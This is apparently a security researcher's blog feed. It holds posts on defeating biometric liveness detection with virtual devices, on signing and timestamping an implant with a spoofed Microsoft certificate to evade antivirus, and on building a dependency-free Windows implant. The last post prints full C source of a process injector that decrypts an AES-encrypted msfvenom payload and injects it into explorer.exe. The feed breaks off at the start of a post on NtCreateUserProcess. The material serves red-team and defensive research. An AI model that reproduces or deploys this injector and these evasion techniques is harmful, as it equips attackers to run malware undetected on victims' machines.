Capt. Meelo

Virtual Assistant: Defeating Liveness Detection with the Help of Virtual Devices

Thu, 02 Apr 2026 00:00:00 +0000

Note: This research was originally posted here.

Introduction

The rise of fraud and identity theft poses a growing concern for both individuals and organizations. As AI and deepfake technologies advance at an unprecedented pace, the need for a robust form of identity verification has become increasingly important. Traditional identity verification technology has become vulnerable to sophisticated attacks, such as spoofing, where fraudsters mimic someone’s identity. To combat the growing threat, identity providers integrated liveness detection to ensure the person undergoing verification is real, live, and physically present. However, as liveness detection evolves, fraudsters have adapted to bypass this protection.

In this article, we will explore how liveness detection, which is designed to distinguish real users from spoofed representations, can be undermined through the use of virtual devices. We will cover the tools and techniques, the setup process, and a demonstration of the bypasses. We will also discuss how criminals take advantage of the biometric data (facial images, voice recordings, and ID photos) individuals and organizations often unknowingly post and leave online. Finally, we will conclude with practical recommendations to help identity providers combat such attacks and improve their systems.

Understanding Remote Identity Proofing

Remote Identity Proofing (RIDP) is the process of verifying someone’s identity through digital channels without requiring their physical presence. This helps combat fraud by confirming the end users are real and who they claim to be. In sectors like banking, insurance, cryptocurrencies, and payments, RIDP has emerged as a key component of digital trust. RIDP also plays a big role in regulatory programs like Know Your Customer (KYC), Customer Due Diligence (CDD), and Anti‑Money Laundering (AML).

Common forms of RIDP include:

Document validation, which relies upon the authenticity of government issued IDs such as passports or driver’s licenses.
Biometric verification, such as facial recognition, fingerprint scanning, and voice authentication, which focuses on someone’s unique physical characteristics.
Knowledge-based approaches, wherein multiple signals (e.g., passwords, PINs, OTPs) are collected.

This article focuses on the following forms of identity verification:

Facial Recognition
Document Validation
Voice Authentication

Facial Recognition

Facial recognition is the process where a user’s facial features are captured, extracted, and compared against a database of faces to confirm identity. In practice, this makes the camera pipeline and its integrity (how the face data is acquired and delivered to the verification component) a critical security boundary.

With this type of verification, fraudsters seek to impersonate a real person through Facial Spoofing, wherein a valid‑looking fake representation of the target is presented to the camera. This is typically carried out via:

2D Spoofing - presenting a printed photo or image displayed on a digital device (e.g., monitor or phone) to the camera.
Video Replay - presenting a pre‑recorded video to the camera rather than a live capture.
3D/Silicon Masks - creating a 3D reconstruction of a face or a mask to simulate a face in a physically present form.

Document Validation

Another method is verifying the authenticity and validity of an identity document such as a passport, national ID, or driver’s license. This method, called Document Validation, typically includes checking visual and structural cues and determining whether the presented document is legitimate versus altered or fabricated.

In an attempt to bypass document validation, fraudsters typically impersonate someone by presenting stolen, forged, or falsified documents. This is called Document Spoofing and common methods include:

Printed Copy - using a printed reproduction of an authentic or forged document.
Screen Replay - presenting a legitimate (stolen) or forged document via a digital screen.
Portrait Overlay/Substitution - placing someone else’s photo over the original photo in a legitimate document.

Voice Authentication

Voice authentication identifies a person based on the unique biological characteristics of their voice, including traits such as dynamics, pitch, intensity, and articulation. As with face and document capture, the trustworthiness of the capture channel (microphone input and the path from device to verification system) is foundational.

Speech Spoofing focuses on impersonating a target user by producing a voice output that matches the target’s “voice print/pattern” and speech behavior. Common methods are:

Voice Imitation/Conversion - making the fraudster’s voice sound similar to the target’s voice.
Speech Synthesis/Cloning - using AI and text‑to‑speech (TTS) technologies to generate a replica of the target’s voice.
Voice Replay - using a pre‑recorded voice of the target.

Liveness Detection as a Defensive Control

Liveness detection aims to prevent spoofing attacks by ensuring the user is live and physically or actively present at the time of the verification process rather than a recording or synthetic source. Liveness detection is implemented either passively or actively. With passive liveness detection, the verification system analyzes biometric signals without requiring explicit user interaction for a faster and seamless experience. As for active liveness detection, the system prompts users to perform actions such as head movements or speaking phrases to ensure users are actively/physically present during the verification process; however, it adds friction and inconvenience to some users.

The following demonstrates how liveness detection works for each verification system discussed above:

Facial Liveness

RIDP systems typically check for facial liveness using a combination of active and passive methods. Active liveness uses randomized challenge–response prompts, such as blinking or head movements, to confirm real‑time interaction. On the other hand, passive liveness runs in the background, analyzing depth cues, skin texture, light reflections, and subtle physiological signals that are difficult for photos, videos, or deepfakes to replicate.


Credit: PresentID

Document Liveness

Instead of checking a document’s format or text alone, document liveness analyzes how a document interacts with light and motion. Real IDs exhibit natural reflections on holograms and laminates, realistic shadows, and consistent texture patterns. Screen replays and printed copies expose artifacts such as Moiré patterns (image distortion due to the overlapping grid pattern between the display and the camera capturing it), color limitations, or unnatural edges, which modern AI models are trained to detect within a single image or a short video capture.


Credit: ID R&D

Voice Liveness

Passive voice liveness analyzes spectral and temporal characteristics of speech, identifying artifacts common in text‑to‑speech, voice cloning, and replay attacks. Whereas active liveness adds challenge‑response prompts, requiring users to speak unpredictable phrases (instead of predefined ones) in real time, making replay and synthetic attacks far more difficult.


Credit: ID R&D

Injection Attacks Against Liveness Detection

As liveness detection matured and spoofing/replay attacks became easier to detect, threat actors shifted toward more sophisticated techniques. This led to the rise of injection attacks, which target the verification pipeline instead of the sensor. Instead of fooling the sensors by presenting falsified media to a camera or microphone, injection attacks feed prerecorded, manipulated, or synthetic biometric data directly into the application or API. This makes the system believe the input is legitimate, since the injected data is a bit-for-bit replica of the source media and is of high quality.

The following diagram illustrates the difference between a replay and an injection attack:

Typically, Injection Attack Methods (IAM) fall into two categories: attacks performed via modified or falsified devices, and attacks performed via substitution of captured media.

Injection via Modified or Falsified Devices

In this type of attack, the attacker manipulates the capture environment itself so that falsified media is treated as legitimate. One approach involves the use of virtual devices, where software‑based cameras or microphones emulate physical hardware. These virtual components can present attacker‑controlled images, videos, or audio streams directly to the verification system while appearing as standard capture devices.

Another approach uses hardware modules inserted between the sensor and the RIDP system. In this method, the hardware intercepts and replaces genuine sensor output with attacker‑supplied data before it reaches the verification logic.

A third variant relies on device emulators, where the entire verification environment is simulated. Emulated devices can present falsified data while mimicking expected device characteristics, allowing attackers to test and refine injection techniques at scale.

Injection via Substitution of Captured Media

Rather than altering the device itself, some threat actors may instead target the verification path that handles the captured media. One technique involves function hooking, where application- or system‑level functions responsible for camera or microphone input are intercepted and modified. This allows attackers to replace genuine capture data with prerecorded or synthetic media at runtime.

Another method relies on traffic interception, commonly described as a man‑in‑the‑middle (MiTM) scenario. In this case, media streams are intercepted and altered as they are transmitted between the client and backend services, enabling substitution without modifying the physical capture process.

Using Virtual Devices to Circumvent Liveness Detection

The final area to address is the use of virtual devices as a cheap and simple means to defeat liveness detection implemented with different verification methods.

Virtual devices are software-based devices that mimic the capabilities of physical devices and allow users to select different source media (images, videos, audio, scenes, etc.) and feed them to other applications. Because virtual devices are inexpensive (mostly open-source), easy to configure, and widely used for legitimate purposes such as streaming and conferencing, they present a scalable and practical attack vector.

Attack Demonstration

Virtual Device Against Facial Liveness

Scenario: Instead of using the phone’s native camera for a live capture, a fraudster injects a pre-recorded video using a virtual camera.

Virtual Device Against Document Liveness

Scenario: Instead of using a camera to capture the ID, the fraudster uses a virtual camera to submit it to the RIDP system.

Virtual Device Against Voice Liveness

Scenario: Instead of speaking through a microphone, the fraudster submits an audio record to the RIDP system using a virtual audio cable.

Threats: Widespread Biometric Data Exposure

A major factor behind the growing success of identity theft and imposter scams is the widespread availability of biometric data. Identity impersonation is no longer a high‑effort operation. Today, attackers can obtain biometric artifacts of their victims remotely, quickly, and at scale. Identity theft and impersonation no longer depend on physical proximity to the victim; attackers can now acquire usable biometric samples remotely and at scale.

Social media platforms have effectively become open biometric repositories. Profile pictures, short‑form videos, and live streams expose high‑quality facial imagery and voice samples across a wide range of lighting conditions, angles, and expressions. For attackers, this content is often more than sufficient to fuel replay attacks, deepfake generation, or voice cloning. Vlogs and user‑generated video content further raise the bar by offering extended, natural recordings of both face and voice. These longer samples reveal behavioral nuances, such as speech rhythm, pauses, expressions, and movement patterns, that can be leveraged to evade passive liveness detection and behavioral analysis.

The most severe risk comes from database and KYC leaks, which may expose high‑resolution IDs, enrollment selfies, and voice samples.

This level of biometric exposure fundamentally reshapes the RIDP threat model. Biometric data can no longer be treated as a protected secret. Instead, trust must shift toward verifiable capture integrity, proving that data was generated by a real sensor on a real device at a specific moment. Without strong capture‑time guarantees and device‑level assurance, even advanced liveness detection remains vulnerable to high‑fidelity impersonation attacks.

As biometric data becomes easier to obtain, the threat shifts from “Can attackers get the data?” to “Can systems reliably prove how and when the data was captured?”. Addressing this shift is essential to defending modern RIDP deployments against scalable impersonation attacks.

Recommendations

To mitigate these risks, organizations should adopt a layered defense strategy, such as:

Identifying virtual devices through metadata, hardware identifiers, and supported capabilities.
Detecting emulated environments using hardware characteristics, sensor availability, performance profiles, and interaction patterns.
Ensuring authenticity and fidelity through remote image attestation, cryptographic signing, timestamping, and challenge‑response mechanisms.
Analyzing input data and session metadata for anomalies, mismatches, or missing sensor signals that indicate virtual sources.
Switching to mobile‑only RIDP by taking advantage of mobile security features like Trusted Execution Environments and sensor telemetry.
Combining multimodal verification and human review for high‑risk use cases, supported by logging and analysis of failed attempts.

Conclusion

Remote Identity Proofing is essential to modern digital ecosystems, but it operates in a constantly evolving adversarial environment. As replay attacks lose effectiveness, injection attacks pose a more serious challenge to liveness detection. RIDP systems should assume that the capture device itself may be untrusted and design controls accordingly.

Ultimately, securing remote identity verification remains a cat‑and‑mouse game, and defending them against threats requires more than a single control; it demands continuous improvement, layered defenses, and an in-depth understanding of both attacker capabilities and system limitations.

[ROOTCON 18] Seeing is Not Believing: Bypassing Facial Liveness Detection by Fooling the Sensor

Thu, 26 Sep 2024 00:00:00 +0000

Abstract

Talk

Slides

[SANS HackFest 2022] Developing High-Impact Malware with Minimal Effort

Mon, 14 Nov 2022 00:00:00 +0000

Talk

Slides

Infographic

Credits: Mind’s Eye Creative

Lessons Learned from Cloning Windows Binaries and Code Signing Implants

Mon, 07 Nov 2022 00:00:00 +0000

All the lessons I’m sharing here are based on what I learned/observed during my experiment.

AntiScan.Me has always been my choice to check how my implant fares against different AV software/companies. The main reason is they never distribute the scan results (well, at least that’s what they claim) compared to VirusTotal.

Checking the detection (evasion) rate of my implant helps improve my maldev skills. It also forces me to learn and research different evasion techniques which I find challenging and fun. But recently, I got stuck trying to get a 0/26 detection rate. Here’s an image showing the detection rate of the implant that I have written.

I’m quite happy with the result though since the majority of the AV products failed to detect it. But, I’m not satisfied so I keep thinking and trying different ways to improve the detection rate. After several attempts and testing, nothing worked and the detection rate remains the same. After doing some research, I came across Code Signing to make my binary look “trusted” (even though it should not be trusted as it’s actually doing malicious things). I don’t want to spend a dime purchasing a valid code signing certificate so I opted to use an invalid/spoofed certificate.

PS C:\bin> .\signtool.exe sign /v /f .\cert.pfx /fd SHA256 .\base-implant.exe
The following certificate was selected:
    Issued to: www.microsoft.com
    Issued by: Microsoft Azure TLS Issuing CA 06
    Expires:   Sat Sep 30 07:23:11 2023
    SHA1 hash: 1FE9A0EC7C3D307369DF61348838DC12F3FAE024

Done Adding Additional Store
Successfully signed: .\base-implant.exe

Number of files successfully Signed: 1
Number of warnings: 0
Number of errors: 0

The cert.pfx file used from the above command was derived from a certificate and key created from the www.microsoft.com domain.

PS C:\bin> certutil.exe -dump .\cert.pfx
Enter PFX password:
================ Certificate 0 ================
================ Begin Nesting Level 1 ================
Element 0:
Serial Number: 330059f8b6da8689706ffa1bd900000059f8b6
Issuer: CN=Microsoft Azure TLS Issuing CA 06, O=Microsoft Corporation, C=US
 NotBefore: 10/5/2022 7:23 AM
 NotAfter: 9/30/2023 7:23 AM
Subject: CN=www.microsoft.com, O=Microsoft Corporation, L=Redmond, S=WA, C=US
Signature matches Public Key
Non-root Certificate uses same Public Key as Issuer
Cert Hash(sha1): 1fe9a0ec7c3d307369df61348838dc12f3fae024
----------------  End Nesting Level 1  ----------------
  Provider = Microsoft Enhanced Cryptographic Provider v1.0
Encryption test passed
CertUtil: -dump command completed successfully.

Here’s what the signed implant looks like and it is clearly shown that it was signed with an invalid certificate.

Based on the scan result, the detection rate improved from 6/26 to 3/26. This signifies that code signing works (or simply fools some AVs) even with an invalid certificate.

LESSON #1: Signed binaries are less investigated by some AV software. This means using a spoofed/invalid certificate works because there are AVs that don’t verify the validity of the digital certificate used.

Obsessed with improving the detection rate, I decided to time-stamp my signed implant, using http://timestamp.digicert.com as the Time Stamp Authority (TSA) server, to make it more “trusted” and “verified”?

PS C:\bin> .\signtool.exe timestamp /v /tr http://timestamp.digicert.com /td SHA256 .\signed-implant.exe
Successfully timestamped: .\signed-implant.exe

Number of files successfully timestamped: 1
Number of errors: 0

Now here’s what the time-stamped binary looks like.

Did I get a better result? I’m quite disappointed because nothing changed and the detection rate stays at 3/26.

My disappointment did not stop me so I keep on thinking and trying different methods. Out of curiosity, I decided to change the TSA server and used http://sha256timestamp.ws.symantec.com/sha256/timestamp instead.

PS C:\bin> .\signtool.exe timestamp /v /tr http://sha256timestamp.ws.symantec.com/sha256/timestamp /td SHA256 .\timestamped-implant.exe
Successfully timestamped: .\timestamped-implant.exe

Number of files successfully timestamped: 1
Number of errors: 0

Surprisingly, it worked and I now achieved the detection rate that I wanted!

LESSON #2: AV products behave differently depending on the TSA server used to time-stamp the binary.

I want to further investigate this observation. However, AntiScan.Me only allows 4 submissions per IP each day and I don’t have the luxury of time/resources to do it. Anyway, if you want to further explore this observation, here’s a list of free RFC 3161 TSA servers.

Now that I got what I wanted, it’s time to celebrate! Well… NO! Because as soon as my implant touches the disk of my target system (Windows 11 with up-to-date Windows Defender engine), it is caught immediately.

How did Windows Defender flag my implant when AntiScan.Me told me I got a 0/26 detection rate? How is that possible? I don’t even know how to answer my questions because I don’t have an idea how the different AV products within AntiScan.Me actually works!

LESSON #3: Don’t fully rely on online AV scanning tools/websites. While these online services make life easier since we can test our binary on different AV vendors and get the results at once, nothing beats testing your implant on a local and isolated machine.

Is there a way to evade Windows Defender in this scenario? What if I make my implant look like a Microsoft-signed binary? To do that, I looked for signed binaries within the C:\Windows\System32\ directory and ended up with RuntimeBroker.exe. I cloned this file’s attributes into my implant, signed then time-stamped my implant with an invalid www.microsoft.com certificate, and rename it to RuntimeBroker.exe. Here’s what my implant looks like.

I was very hopeful it will work but sadly, Windows Defender detected it as soon as it touches the disk.

Maybe it was detected because I spoofed a Microsoft domain to sign a cloned Microsoft binary, and Windows Defender could easily verify the authenticity of the certificate and the binary since Microsoft owned them. Maybe, maybe not. Who knows?

As a further investigation, I tried cloning only the file attributes of RuntimeBroker.exe but did not sign it. And the result is still the same.

I already expected this to happen though since the original and legit copy of RuntimeBroker.exe is signed by Microsoft.

But what if I clone the file attributes of an unsigned Windows binary? This time, I opted to clone C:\Windows\System32\at.exe and did not bother signing it since the original/legit copy is not signed. As soon as my implant touches the disk, Windows Defender did not detect it. Even when executed and the shell was received, Windows Defender also failed.

LESSON #4: There are tons of Windows binaries (signed/unsigned and/or installed by default or not) so the above observation might not be true 100%. However, based on my experiment, I would say cloning and code-signing Windows binaries comes with a risk. So make sure to thoroughly test your implant if you opted to use cloning and code signing.

However, as soon as I used meterpreter’s shell command (as shown above), Windows Defender alerted with Behavior:Win32/Meterpreter.D. Despite the alert, my meterpreter shell did not die and when I used the shell command for the second time, Windows Defender alert did not pop out again.

LESSON #5: Being able to download and execute your implant undetected does not necessarily mean the job is done and you won’t get caught. So don’t forget to implement some in-memory evasion techniques.

Conclusion

After spending some time with this experiment and trying to achieve what I wanted (0 detection rate), I realized an important lesson (at least for me).

LESSON #6: Don’t be obsessed or force a 0 detection rate. If we don’t know the security solution running on our target, we ideally wanted to aim for a 0 detection rate. However, the time spent (or wasted) achieving a 0 detection rate could instead be used for information gathering to identify the AV/EDR installed on our target. Using this information, we can then solely focus on evading that particular product.

Before I end this post, I would like to leave these additional lessons.

LESSON #7: When cloning file attributes, don’t limit yourself to Windows binaries. Beware though and ensure that the binary you wanted to clone and execute on your target must be present/installed and/or most likely being used/run on that machine. What I mean is you obviously don’t want to clone and execute an iTunes binary when your target is a Windows Server.

LESSON #8: No detection does not mean no alert/notification will be sent to the blue team.

LESSON #9: Signing an implant with a spoofed certificate might have LEGAL consequences. Do it at your own risk and be responsible.

That’s it for this post. Again, these are my opinions which are based on what I have observed during my experiment. There’s no guarantee that you’ll see the same observations and that all lessons shared here will work in your environment and all scenarios.

Remember, evasion is always a cat-and-mouse game.

Writing an Independent Malware

Mon, 17 Oct 2022 00:00:00 +0000

I’m almost 90% complete drafting this post when I came across this talk by @rad9800 that discusses the same topic. I’m still publishing this anyhow because I don’t want my efforts to go to waste and this post contains some ideas not mentioned in the talk.

There’s no greater feeling when the malware (or any project/tool) you’re developing works as expected. Until suddenly you realized it only works on your dev machine but not on any other machine.

Here’s an example of what I mean. This code is a commonly used template by malware in which the payload is AES-encrypted (using tiny-AES-c in this case) to avoid static detection. The payload gets decrypted during execution and injected into a remote target process’ memory space.

#include <Windows.h>
#include <stdio.h>
#include "include/aes.hpp"

int main()
{
	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c 
	unsigned char shellcode[] = "\x9c\xad\x1d\x5b\x52\x35\xdf\x9e\x15\xc3\xa4\x94\xb0\xf6\xd5\x1a\x14\x82\x9b\xc2\xc5\x40\x9e\x03\x45\xdf\x0d\x85\xfc\xff\xc2\xf7\x37\x84\x4b\xa1\x5f\x07\xa3\xf5\xd5\xe3\x54\xe4\x33\x84\x24\xf9\xaf\xbd\xc1\x53\xc9\x87\x4c\xc2\x12\xc7\x24\x6c\x22\xe9\x41\xb4\x47\x9c\xfa\x4c\x20\x8f\x57\x17\x29\x00\x10\x40\x83\xff\xc8\xfe\xa5\x87\x1f\xfd\xec\x30\x72\x07\x71\x59\xf8\x05\xda\x49\x12\xdf\x0a\xc5\xb8\x65\x99\x65\xfa\x5f\xc4\xc3\x8b\x40\x1e\xbe\xf1\x55\xde\x4f\x3a\x65\x2f\x14\xcc\x29\x9d\x7d\x17\xd0\x55\x99\x9e\xc3\x0d\xd7\xbb\xa3\x00\x34\x79\x32\xbe\x16\x66\xf6\xa4\xbc\xda\x40\x06\x7b\x8d\x56\x79\x6b\x21\x79\xd5\xf9\x55\x52\xe2\xd5\x8c\x34\xfd\x1c\x26\xc2\xf5\xd4\x6b\xca\xc3\x74\x91\x9d\xe4\xa2\xf4\x71\x42\x90\x2c\x6a\x11\x66\xf8\x56\x8f\x3c\x26\xa4\x27\x89\x6f\xc2\x02\x48\x53\xed\x08\x32\xa6\x48\x0f\x9a\x39\x0e\x5d\x38\xb4\xa2\x30\x6d\x27\x94\x80\x8c\x06\xa8\x86\x5f\x0b\xda\x44\x83\x51\x55\xfc\xb9\xe2\xcb\xbc\x95\xc8\xd6\x18\xd7\x1b\x04\x3d\xfb\x53\x9b\x57\xa8\xb2\xab\xe7\x27\x3b\xd2\xcb\x53\x20\x11\xcc\x5f\xaf\x31\xcf\xba\x83\xd7\xc7\xa8\xf7\x0c\x78\x6d\x7f\x46\x99\xd7\x33\x23";
	SIZE_T shellcodeSize = sizeof(shellcode);

	unsigned char key[] = "Captain.MeeloIsTheSuperSecretKey";
	unsigned char iv[] = "\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98";

	struct AES_ctx ctx;
	AES_init_ctx_iv(&ctx, key, iv);
	AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize);

	// PID of explorer.exe
	DWORD pid = 6028;
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	printf("[+] Handle obtained: 0x%p\n", hProcess);

	PVOID baseAddress = NULL;
	baseAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	printf("[+] Memory allocated: 0x%p\n", baseAddress);

	WriteProcessMemory(hProcess, baseAddress, shellcode, shellcodeSize, NULL);
	printf("[+] Memory written: %zu bytes\n", shellcodeSize);

	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)baseAddress, NULL, 0, NULL);
	printf("[+] Thread created: 0x%p\n", hThread);
	printf("[+] Payload executed!");
}

When run on the dev machine, the compiled code works as expected.

But when the same binary gets executed on a different machine, it throws the following error.

Runtime Libraries

What the heck is VCRUNTIME140.dll? This DLL is a runtime library used by Microsoft Visual Studio which consists of functions/codes a program needs in order to work during run time.

Per Microsoft’s documentation:

The vcruntime library contains Visual C++ CRT implementation-specific code, such as exception handling and debugging support, runtime checks and type information, implementation details and certain extended library functions.

Looking at the binary’s IAT (Import Address Table), several functions are imported from VCRUNTIME140.dll and api-ms-win-crt-*.dll DLLs.

When the binary is executed, the OS loads the required libraries (hence called “runtime library”) in the process’ address space and then resolves the relevant functions used by the program.

Why Do We Care?

During an engagement, we have no idea whether the libraries required by your implant/malware are installed on the target system. Well, if you already have access to the target machine then you can do an enumeration first. However, it is a good idea to assume the target system does not have the required libraries. Doing so will allow us to develop a program that works in any system.

The Solutions

How do we get around it and remove the dependencies? Here are some of the solutions I discovered as I encounter the same obstacle.

Install What’s Missing

One of the easiest solutions is to install Microsoft Visual C++ Redistributable. However, it is not recommended as making changes to a target system, especially installing software, is bad practice.

When Googling this issue, the solution provided by some web pages instructs the reader to download the missing DLL hosted on their server. This is a big NO as the legitimacy of the hosted file is unknown, and this could put the target/client’s system in a riskier scenario.

Statically Link ‘Em

Getting rid of runtime libraries can be done by static linking them during compile time. With this approach, worrying about the missing libraries on the target system goes away as they are already “bundled” in the binary. Hence, the chance the program will work on any system is highly probable.

Static linking of the required libraries is easy. In Visual Studio, go to the project properties and set the value of the Runtime Library property to Multi-threaded (/MT).

Since libraries are “bundled” into the executable, the following drawbacks can be observed:

Bloated binary: Here’s a comparison showing a difference of more than 100KB in file size when using static linking.

More IAT entries: Static linking results in more imports (78 in this case) compared to dynamic linking (49 in total).

Manually Remove ‘Em

To eliminate any dependencies, tell the linker to exclude all default libraries from the list of libraries it searches. This is done by setting the /NODEFAULTLIB linker option.

However, compilation with the /NODEFAULTLIB linker option set causes the following error.

What happened? Let’s first discuss the highlighted item.

To start the analysis, set a breakpoint in main(), debug the code, and look at the call stack. Here, it shows main() is not the entry point of the program. In fact, the execution begins by invoking the mainCRTStartup() function, which is the entry point of the C runtime library and is responsible for the initialization of the memory manager, file I/O, etc. Then the main() function will eventually be called.

Changing the Program’s Entry Point

If main() is not the actual entry point, then just “force” the compiler to use main() as the entry point. To do this, add the directive #pragma comment(linker, "/ENTRY:main") in the above code or set the Entry Point property to main.

Other function names (e.g., entry()) can be used as the entry point and having a main() function in the code is optional.

The other method does not involve changing the entry point, but having our version of the mainCRTStartup() function. Since mainCRTStartup() is the real entry point, then simply put the code inside it. Using this approach, the updated code would look like this.

#include <Windows.h>
#include <stdio.h>
#include "include/aes.hpp"

void __stdcall mainCRTStartup()
{
	[THE_BODY_CONTAINS_THE_SAME_CODE_AS_ABOVE]
}

int main() was simply change to void __stdcall mainCRTStartup(). Note that the rest of this post uses this method.

Using either method, compiling the updated code returns fewer errors. Specifically, the error message LNK2001 unresolved external symbol mainCRTStartup is gone.

Disabling Security Check

To address the error LNK2001 unresolved external symbol __security_check_cookie, simply tell the compiler to stop checking for buffer overruns. To do this, set the Security Check property to Disable Security Check (/GS-).

I won’t go into the details about the /GS compiler option, but here’s a reference you can read.

After compiling the updated program, only two errors were left.

Removing `<stdio.h>`

The remaining errors are related to the included library stdio.h, which contains functions for file I/O operations. The base code includes this library to be able to use the printf() function. If this library is removed and all lines containing the printf() function are commented out, then the remaining errors are gone.

[![Removing ](/static/img/2022-10-17-independent-malware/stdio-gone.png)](/static/img/2022-10-17-independent-malware/stdio-gone.png)

When the updated code gets compiled and the binary is executed on another system, it works and the initial error related to VCRUNTIME140.dll didn’t pop out.

Looking again at the binary’s IAT, the number of imports is reduced to 4 and only contains the actual WinAPI used within the code.

The file size is also reduced to only 7KB, which is smaller than the original size of 15KB.

Build Your Own

Custom `printf()`

But what if printf() is necessary for our program? One approach is to have a custom printf() function. Here’s an example which utilizes Windows API.

void my_printf(const char* pszFormat, ...) {
	char buf[1024];
	va_list argList;
	va_start(argList, pszFormat);
	wvsprintfA(buf, pszFormat, argList);
	va_end(argList);
	DWORD done;
	WriteFile(GetStdHandle(STD_OUTPUT_HANDLE), buf, strlen(buf), &done, NULL);
}

This code was taken from here, so credits to the author.

When using the above my_printf() code, one must take into account the additional DLL (user32.dll due to the use of wvsprintfA()) the binary relies on. Since the program is a console application (no GUI/window), the use of functions from user32.dll could be a red flag.

How to write a print function without depending on user32.dll then? Luckily, kernelbase.dll has wprintf() as one of its exported functions.

However, directly using it will result in a compilation error. A workaround is to resolve wprintf() dynamically. Here’s the updated code showcasing how to do it.

#include <Windows.h>
#include "include/aes.hpp"

typedef int (*my_wprintf)(
	const wchar_t* format,
	...
);

void __stdcall mainCRTStartup()
{
	// Resolve wprintf()
	HMODULE hKernelBase = GetModuleHandleW(L"kernelbase.dll");
	my_wprintf wprintf = (my_wprintf)GetProcAddress(hKernelBase, "wprintf");

	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c 
	unsigned char shellcode[] = "\x9c\xad\x1d\x5b\x52\x35\xdf\x9e\x15\xc3\xa4\x94\xb0\xf6\xd5\x1a\x14\x82\x9b\xc2\xc5\x40\x9e\x03\x45\xdf\x0d\x85\xfc\xff\xc2\xf7\x37\x84\x4b\xa1\x5f\x07\xa3\xf5\xd5\xe3\x54\xe4\x33\x84\x24\xf9\xaf\xbd\xc1\x53\xc9\x87\x4c\xc2\x12\xc7\x24\x6c\x22\xe9\x41\xb4\x47\x9c\xfa\x4c\x20\x8f\x57\x17\x29\x00\x10\x40\x83\xff\xc8\xfe\xa5\x87\x1f\xfd\xec\x30\x72\x07\x71\x59\xf8\x05\xda\x49\x12\xdf\x0a\xc5\xb8\x65\x99\x65\xfa\x5f\xc4\xc3\x8b\x40\x1e\xbe\xf1\x55\xde\x4f\x3a\x65\x2f\x14\xcc\x29\x9d\x7d\x17\xd0\x55\x99\x9e\xc3\x0d\xd7\xbb\xa3\x00\x34\x79\x32\xbe\x16\x66\xf6\xa4\xbc\xda\x40\x06\x7b\x8d\x56\x79\x6b\x21\x79\xd5\xf9\x55\x52\xe2\xd5\x8c\x34\xfd\x1c\x26\xc2\xf5\xd4\x6b\xca\xc3\x74\x91\x9d\xe4\xa2\xf4\x71\x42\x90\x2c\x6a\x11\x66\xf8\x56\x8f\x3c\x26\xa4\x27\x89\x6f\xc2\x02\x48\x53\xed\x08\x32\xa6\x48\x0f\x9a\x39\x0e\x5d\x38\xb4\xa2\x30\x6d\x27\x94\x80\x8c\x06\xa8\x86\x5f\x0b\xda\x44\x83\x51\x55\xfc\xb9\xe2\xcb\xbc\x95\xc8\xd6\x18\xd7\x1b\x04\x3d\xfb\x53\x9b\x57\xa8\xb2\xab\xe7\x27\x3b\xd2\xcb\x53\x20\x11\xcc\x5f\xaf\x31\xcf\xba\x83\xd7\xc7\xa8\xf7\x0c\x78\x6d\x7f\x46\x99\xd7\x33\x23";
	SIZE_T shellcodeSize = sizeof(shellcode);

	unsigned char key[] = "Captain.MeeloIsTheSuperSecretKey";
	unsigned char iv[] = "\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98";

	struct AES_ctx ctx;
	AES_init_ctx_iv(&ctx, key, iv);
	AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize);

	// PID of explorer.exe
	DWORD pid = 6028;
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	wprintf(L"[+] Handle obtained: 0x%p\n", hProcess);

	PVOID baseAddress = NULL;
	baseAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	wprintf(L"[+] Memory allocated: 0x%p\n", baseAddress);

	WriteProcessMemory(hProcess, baseAddress, shellcode, shellcodeSize, NULL);
	wprintf(L"[+] Memory written: %zu bytes\n", shellcodeSize);

	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)baseAddress, NULL, 0, NULL);
	wprintf(L"[+] Thread created: 0x%p\n", hThread);
	wprintf(L"[+] Payload executed!");
}

Now, the dependency with user32.dll has been removed.

Custom CRT

What about the other standard functions such as memcpy(), memset(), strcmp(), rand(), etc.? One way is to write custom implementations of these functions. Several devs have done this so the codes are just one Google search away. Here’s an example for memcpy() and memset().

void *memcpy (void *dest, const void *src, size_t len)
{
  char *d = dest;
  const char *s = src;
  while (len--)
    *d++ = *s++;
  return dest;
}

void *memset (void *dest, int val, size_t len)
{
  unsigned char *ptr = dest;
  while (len-- > 0)
    *ptr++ = val;
  return dest;
}

Here are some repos that could be useful. These contain code snippets that can be used as an alternative to the C runtime library.

Go With WinAPI

The other method is to simply use the WinAPI counterpart of the function. For example, instead of using malloc() and wcscmp(), WinAPI has VirtualAlloc() and StrCmpW().

This image was taken from this discussion, so credits to the owner/poster.

Conclusion

Your code most likely varies from the code presented here, so don’t expect everything discussed in this post will work in your project. However, with this rough guide, I hope it will alleviate some of the headaches you’re going to have should you decide to remove any CRT dependencies in your program.

I’m not a pro at programming and I only shared what I learned. If you identify any mistakes, please let me know so we can correct them.

Making NtCreateUserProcess Work

Tue, 10 May 2022 00:00:00 +0000

Last March, I tweeted something about converting WinAPI functions to their native counterparts. One of the WinAPIs I’m trying to convert is CreateProcess. Finally, after several months of on and off research, trials, and coding, I have successfully developed a PoC to launch a process using the native API NtCreateUserProcess()!

In this post, I’ll share some of my notes and the journey that I took in the development of a “minimal” code, which is enough for my need of creating a process using native APIs.

I’m not an expert in Windows Internals so if you found some issues/mistakes, please let me know and I would be happy to make the necessary corrections.

From `CreateProcess()` to `NtCreateUserProcess()`

